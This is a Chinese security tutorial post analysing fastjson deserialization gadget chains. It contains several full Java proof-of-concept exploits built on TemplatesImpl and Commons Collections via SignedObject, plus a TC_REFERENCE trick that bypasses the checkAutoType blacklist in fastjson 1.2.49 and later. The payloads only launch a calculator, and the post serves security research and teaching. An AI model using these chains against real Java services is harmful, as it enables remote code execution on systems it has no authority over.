JavaSec | fastjson反序列化调用链分析

admin 2025年5月6日16:09:01评论3 views字数 26332阅读87分46秒阅读模式

扫码领资料

获网安教程

JavaSec | fastjson反序列化调用链分析
JavaSec | fastjson反序列化调用链分析

本文由掌控安全学院 -  fupanc 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

这里来调试分析一下fastjson原生反序列化,也就是比较常打的反序列化调用链。

Fastjson<=1.2.48&2

这里以1.2.48版本为例进行构造,在fastjson1版本下的>=1.2.49需要有一定的绕过方法,这个后面会讲。

这里可以利用的类是JSONObject以及JSONArray类,存在利用点的是这两个类的toString()方法,这两个类本身没有实现toString()方法,但是这两个类的父类都是JSON类,JSON实现的toString()方法如下:

JavaSec | fastjson反序列化调用链分析

这个toString()方法调用了toJSONString()方法,这个方法也比较熟悉了,就是JSON序列化调用的方法,可以调用到对应类的getter方法,现在的思路就是序列化JSONObject或者JSONArray类,那么这里的具体过程是什么呢,个人简单从代码层面跟进了一下原理(可能有误):

JSONObejct链

跟进toJSONString()方法:

JavaSec | fastjson反序列化调用链分析

会调用JSONSerializer类的write()方法,注意参数的传递,也就是这里的this代表我们想要利用的JSONObject类,值得一提的是JSONSerializer类的config变量,后面会用:

JavaSec | fastjson反序列化调用链分析

getGlobalInstance()方法返回的其实就是SerializeConfig类实例,自己跟一下就知道了。

然后跟进JSONSerializer类的write()方法:

JavaSec | fastjson反序列化调用链分析

这里会调用getObjectWriter()方法,然后会调用SerializeConfig类的getObjectWriter()方法:

JavaSec | fastjson反序列化调用链分析

如下:

JavaSec | fastjson反序列化调用链分析

注意参数传递,那么这里的clazz就是JSONObject的Class对象,现在注意点放在serializers变量中,搜索发现是在SerializeConfig属实话方法中有定义,构造方法中定义initSerializers()方法用于初始化这个变量,里面放入了一些键值对:

JavaSec | fastjson反序列化调用链分析

但是并没有JSONObject.class这种类型的,继续看getObjectWriter()方法,后续可以看到一个定义:

JavaSec | fastjson反序列化调用链分析

这里的isAssignableFrom()方法就是判断clazz是否实现Map接口,而JSONObject确实是实现了这个接口,所以这里会放入一个JSONObject:MapSerializer类实例的键值对,并且会在后面取值然后返回:

JavaSec | fastjson反序列化调用链分析

回到JSONSerializer类的write()方法,然后会调用MapSerializer类的write()方法,先是获取到JSONObject类的map变量:

JavaSec | fastjson反序列化调用链分析
然后for循环对map中的键值对进行处理,关注到这个方法中对value的处理如下:
JavaSec | fastjson反序列化调用链分析

一次完整的序列化过程,所以这里是可以调用到getter方法,那么就可以尝试打TemplatesImpl类的getOutputProperties()方法了,调用toString()方法的话就还是使用CC5的即可,所以可以构造POC如下:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONObject jsonObject = new JSONObject();        jsonObject.put("fupanc",templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonObject);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

运行后成功弹出计算机。再次调试,过程与分析的基本相同,有一点有错,获取JSONObject的map并没有按照预期:

JavaSec | fastjson反序列化调用链分析

而是直接在for循环那里调用对应方法返回的值:

JavaSec | fastjson反序列化调用链分析

JSONObject类的entrySet()方法:

JavaSec | fastjson反序列化调用链分析

其他的就差不多了。

JSONArray链

这个其实也是和前面JSONObject过程是差不多的,只是JSONArray类实现的是List.class,对应的获取到的writer就是ListSerializer类实例:

JavaSec | fastjson反序列化调用链分析

也就是会调用ListSerializer类的writer()方法,这个writer方法同样是调用了for循环来进行获取值并序列化的操作,大体过程如下:

赋值:

JavaSec | fastjson反序列化调用链分析

for循环取值:

JavaSec | fastjson反序列化调用链分析

这里会调用到JSONArray类的get()方法:

JavaSec | fastjson反序列化调用链分析

也就是获取相对应存储值的操作,然后有进行序列化的操作:

JavaSec | fastjson反序列化调用链分析

具体是哪个还不知道,现在同样可以尝试构造如下:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonArray);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

运行后弹出计算机,调试过后过程基本相同,最后序列化相关变量的地方在:

JavaSec | fastjson反序列化调用链分析

————

需要注意的是,上面两条链子也能打fastjson2版本,在maven仓库上看目前最新的fastjson版本为2.0.57,经测试fastjson2版本<=2.0.26能打,从2.0.27开始被修复了,依赖如下:

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>2.0.26</version></dependency>

测试改一下版本即可。

fastjson>=1.2.49

注意改依赖版本,依赖如下:

<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.49</version></dependency>

在fastjson1中,从1.2.49版本开始相比fastjson1<=1.2.48版本的利用类有了改变,就JSONObject和JSONArray类来说,在这个版本过后都添加了自带的readObject()方法,也就是在反序列化时会调用的方法。

JSONArray类的readObject()方法:

private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {        JSONObject.SecureObjectInputStream.ensureFields();        if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {            ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);            secIn.defaultReadObject();            return;        }        in.defaultReadObject();        for (Object item : list) {            if (item != null) {                ParserConfig.global.checkAutoType(item.getClass().getName(), null);            }        }    }

JSONObject类的readObject()方法:

private void readObject(final java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {        SecureObjectInputStream.ensureFields();        if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {            ObjectInputStream secIn = new SecureObjectInputStream(in);            secIn.defaultReadObject();            return;        }        in.defaultReadObject();        for (Entry entry : map.entrySet()) {            final Object key = entry.getKey();            if (key != null) {                ParserConfig.global.checkAutoType(key.getClass().getName(), null);            }            final Object value = entry.getValue();            if (value != null) {                ParserConfig.global.checkAutoType(value.getClass().getName(), null);            }        }    }

从这两个readObject()方法中,可以看出来在反序列化时都会委托给SecureObjectInputStream类进行处理,这个类重写了resolveClass()方法:

JavaSec | fastjson反序列化调用链分析

这里就是调用了checkAutoType()方法来进行对反序列化类的检测,这个checkAutoType()方法我们已经很熟悉了,并且这里fastjson的版本是1.2.49,但是同样是可以绕过的,这里的反序列化过程可以看成如下:

ObjectInputStream -> readObject... -> SecureObjectInputStream -> readObject -> resolveClass

在前面的分析中,我们可以知道主要的检测逻辑就是在resolveClass()方法,但是我们需要知道的是,在反序列化时,不是所有的反序列化时都会调用resolveClass()方法,所以这里存在一个绕过方法,可以寻找什么情况下不会调用resolveClass()方法,从而可以绕过这个检测。

在java.io.ObjectInputStream#readObject0的调用中,会根据读到的bytes中tc的数据类型做不同的处理来进行对象的反序:

JavaSec | fastjson反序列化调用链分析

部分如上,这里我们要利用到的就是图中标注出来的TC_REFERENCE类型的处理,从名称也可以看出来这里就是要处理引用类型的数据,对于resolveClass()方法的调用过程,以如下代码简单调试一下:

package org.example;import java.io.*;public class AppTest{    public static void main(String[] args) throws IOException, ClassNotFoundException{        Test123 test = new Test123("fupanc");        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(test);        oos.close();        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());        ObjectInputStream ois = new MyTestInputStream(bais);        Test123 a = (Test123)ois.readObject();        System.out.println(a.getName());    }}class MyTestInputStream extends ObjectInputStream{    public MyTestInputStream(InputStream in) throws IOException {        super(in);    }    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {        System.out.println("just a Test");        return super.resolveClass(desc);    }}class Test123 implements Serializable {    public String name;    private static final long serialVersionUID = 1L;    public Test123(String name){        this.name=name;    }    public String getName(){        return name;    }}

这里我是自己重写了一个resolveClass()方法,运行后输出如下:

just a Testfupanc

可以看到是成功调用了resolveClass()方法,对于这里的反序列化,是直接反序列化的一个实例化对象,也是我们平时比较常用的点,打断点于readObject()方法,然后开始调试:

JavaSec | fastjson反序列化调用链分析

跟进这里的readObject0()方法,然后到switch部分,会匹配到TC_OBJECT类型:

JavaSec | fastjson反序列化调用链分析

跟进这里的readOrdinaryObject()方法:

JavaSec | fastjson反序列化调用链分析

其实我们一般反序列化对象的实例化的点就是下面标注出来的,并且如果实例化成功最后返回的也是这个obj。这里我们是在找resolveClass()方法调用部分,继续跟进readClassDesc()方法;

JavaSec | fastjson反序列化调用链分析

可以看到是对byte取了下一个数据类型,如果是TC_CLASSDESC类型的话,就会再次调用readNonProxyDesc()方法,这个方法内部就会有resolveClass()方法的调用:

JavaSec | fastjson反序列化调用链分析

由于对象的关系,这里就会调用到我自定义的resolveClass()方法:

JavaSec | fastjson反序列化调用链分析

由此形成了一个闭环,我这里只是简单分析了一下流程。可以简单总结一下前面的流程,比较关键的点就是:

readClassDesc()方法=》如果下一个数据类型是TC_CLASSDESC就会调用到readNonProxyDesc()方法=》resolveClass()方法

然后看前面的readObject0()方法的不同数据类型对应调用的不同方法,大部分类型所需要的方法都是会readClassDesc()方法的,所以也是会有一定概率会调用到resolveClass()方法的,所以这里是需要找一个不会调用readClassDesc()方法方法的数据类型,这里有几个,但是有用的就是TC_REFERENCE类型,这个类型对应的readHandle()方法是通过映射来获取对象的:

JavaSec | fastjson反序列化调用链分析

犹记得前面的TC_OBJECT类型是先调用的readClassDesc进行反序列化类的检查,然后才是调用的newInstance()方法进行的实例化,所以这里的引用是非常好用来绕过的。

所以现在的思路就是在JSONObject/JSONArray反序列化时,进行检测时,不会调用resolveClass()方法,从而可以来绕过,如何建立从对象到引用的映射,利用方法就是向List、set、map类型中添加同样对象就可以成功利用。

从List类型构造一个例子来调试理解:

package org.example;import java.io.*;import java.util.ArrayList;import java.util.HashMap;public class AppTest{    public static void main(String[] args) throws IOException, ClassNotFoundException{        Test123 test = new Test123("fupanc");        ArrayList list = new ArrayList();        list.add(test);        HashMap map = new HashMap();        map.put("fupanc", test);        list.add(map);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(list);        oos.close();    }}class Test123 implements Serializable {    public String name;    private static final long serialVersionUID = 1L;    public Test123(String name){        this.name=name;    }    public String getName(){        return name;    }}

在ArrayList的writeObject打一个断点,使用for循环来进行分别处理:

JavaSec | fastjson反序列化调用链分析

重点看第二次,在上图中的writeObject()方法后会调用writeObject0()方法进行处理,我这里本地测试是使用的HashMap来实现一个对象存有另外一个对象的情况,模拟的JSONArray的存储,需要注意注意的是,Hashmap自己有实现writeObject()方法:

JavaSec | fastjson反序列化调用链分析

这里的internalWriteEntries()方法值得关注,会进行如下的调用:

JavaSec | fastjson反序列化调用链分析

同样是遍历HashMap中的键值对,然后调用writeObject()对key和value都进行了序列化处理。

回到ArrayList类的序列化处理方法,说明一下关键点:

注意理解序列化的过程,会调用到HashMap类的writeObject(),也是前面提过的:

JavaSec | fastjson反序列化调用链分析

这里我发现一个东西,似乎这里对于一个值的存储,如果前后放入有相同的类型的值,都会使用引用来进行映射,我上面的测试代码中,是放入了两个String.class类型的"fupanc"类型的变量,发现这里还是会写成引用类型:

JavaSec | fastjson反序列化调用链分析

因为都是String类型?所以会用引用Test123中的name?并且我讲放入的键值对改成"123":Test13,这样就只会在Test123这里标注为引用类型,稍底层了,具体也不多说,对于Test123类实例,就是按照前面的预期写成引用类型:

JavaSec | fastjson反序列化调用链分析

writeHandle()方法:

JavaSec | fastjson反序列化调用链分析

所以这里就可以尝试如下构造:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonArray);        ArrayList list = new ArrayList();        list.add(templates);        list.add(bad);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(list);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

运行后成功弹出计算机。

总结来说这里的过程就是第一次成功反序列化TemplatesImpl类,然后第二次反序列化BadAttributeValueExpException类时,当调用到JSONArray的readObject()时,当反序列化JSONArray中的TemplatesImpl类时,此时的TemplatesImpl类是一个引用类型,不会调用resolveClass()方法,从而成功绕过。

JSONObject同样的道理:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONObject jsonObject = new JSONObject();        jsonObject.put("fupanc",templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonObject);        ArrayList list = new ArrayList();        list.add(templates);        list.add(bad);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(list);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

那么对于map类型,这里就直接使用Hashmap即可:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONObject jsonObject = new JSONObject();        jsonObject.put("fupanc",templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonObject);        HashMap hashMap = new HashMap();        hashMap.put(templates,bad);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(hashMap);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

具体过程其实前面也说了,在序列化时会分别对key和value进行writeObject()处理:

JavaSec | fastjson反序列化调用链分析

所以我这里的处理方式是:

HashMap hashMap = new HashMap();hashMap.put(templates,bad);

第一次放入一个TemplatesImpl类实例,然后第二次放入的bad的TemplatesImpl类就是引用类型,可以绕过。

JSONArray也一样:

package org.example;import javax.management.BadAttributeValueExpException;import com.alibaba.fastjson.JSONArray;import com.alibaba.fastjson.JSONObject;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;public class Main{    public static void main(String[] args) throws Exception {        //使用javassist定义恶意代码        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass cc = classPool.makeClass("Evil");        String cmd= "java.lang.Runtime.getRuntime().exec("open -a Calculator");";        cc.makeClassInitializer().insertBefore(cmd);        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        byte[] classBytes = cc.toBytecode();        byte[][] code = new byte[][]{classBytes};        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", code);        setFieldValue(templates, "_name", "fupanc");        setFieldValue(templates, "_class", null);        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        Field field = bad.getClass().getDeclaredField("val");        field.setAccessible(true);        field.set(bad, jsonArray);        HashMap hashMap = new HashMap();        hashMap.put(templates,bad);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(hashMap);        out.close();        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));        in.readObject();        in.close();    }    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }}

set类型的:

使用HashSet,但是有点问题,似乎当放入后会自己再进行排序,导致不会是第二次调用writeObject()时是JSONArray类,发现无论什么先后放入顺序,最后都是JSONArray为0,TemplatesImpl为1,导致不能在想利用的地方形成引用类型。

既然都是调用getter方法了,那么是肯定可以打二次反序列化的,以一个二次反序列化CC6为例:

1.2.48版本直接打:

package org.example;import java.lang.reflect.Field;import java.util.HashMap;import java.security.Signature;import java.security.SignedObject;import java.security.KeyPairGenerator;import java.security.KeyPair;import com.alibaba.fastjson.JSONArray;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{    public static void main(String[] args) throws Exception {        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};        Transformer chain = new ChainedTransformer(fakeTransformer);        HashMap haha = new HashMap();        Map lazy = LazyMap.decorate(haha,chain);        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");        HashMap hashMap = new HashMap();        hashMap.put(outerMap,"fupanc");        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");        x.setAccessible(true);        x.set(chain,chainpart);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));        JSONArray jsonArray = new JSONArray();        jsonArray.add(signedObject);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        setFieldValue(bad,"val",jsonArray);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(bad);        out.close();        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));        input.readObject();        input.close();    }    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

高版本的禁了这个二次反序列化类:

autoType is not support. java.security.SignedObject

同样绕一下即可:

package org.example;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;import java.security.Signature;import java.security.SignedObject;import java.security.KeyPairGenerator;import java.security.KeyPair;import com.alibaba.fastjson.JSONArray;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.util.Map;import java.io.FileOutputStream;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Main{    public static void main(String[] args) throws Exception {        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};        Transformer chain = new ChainedTransformer(fakeTransformer);        HashMap haha = new HashMap();        Map lazy = LazyMap.decorate(haha,chain);        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");        HashMap hashMap = new HashMap();        hashMap.put(outerMap,"fupanc");        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");        x.setAccessible(true);        x.set(chain,chainpart);        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");        kpg.initialize(1024);        KeyPair kp = kpg.generateKeyPair();        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));        JSONArray jsonArray = new JSONArray();        jsonArray.add(signedObject);        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);        setFieldValue(bad,"val",jsonArray);        ArrayList list = new ArrayList();        list.add(signedObject);        list.add(bad);        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));        out.writeObject(list);        out.close();        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));        input.readObject();        input.close();    }    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

————

最后,需要知道的点,对于这里的 fastjson1 下的高版本利用方法,不是什么情况下都能打,主要存在漏洞的原因就是这里的反序列化处理问题,在 JSONArray 以及 JSONObject 类的 readObject()方法是委托了另外一个类来进行的对恶意反序列化类的处理,导致了绕过。

参考文章:

https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/

https://nivi4.notion.site/fastjson-17753526a00246f9b146eca7354b8835

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | fastjson反序列化调用链分析

原文始发于微信公众号(掌控安全EDU):JavaSec | fastjson反序列化调用链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月6日16:09:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | fastjson反序列化调用链分析https://cn-sec.com/archives/4033639.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息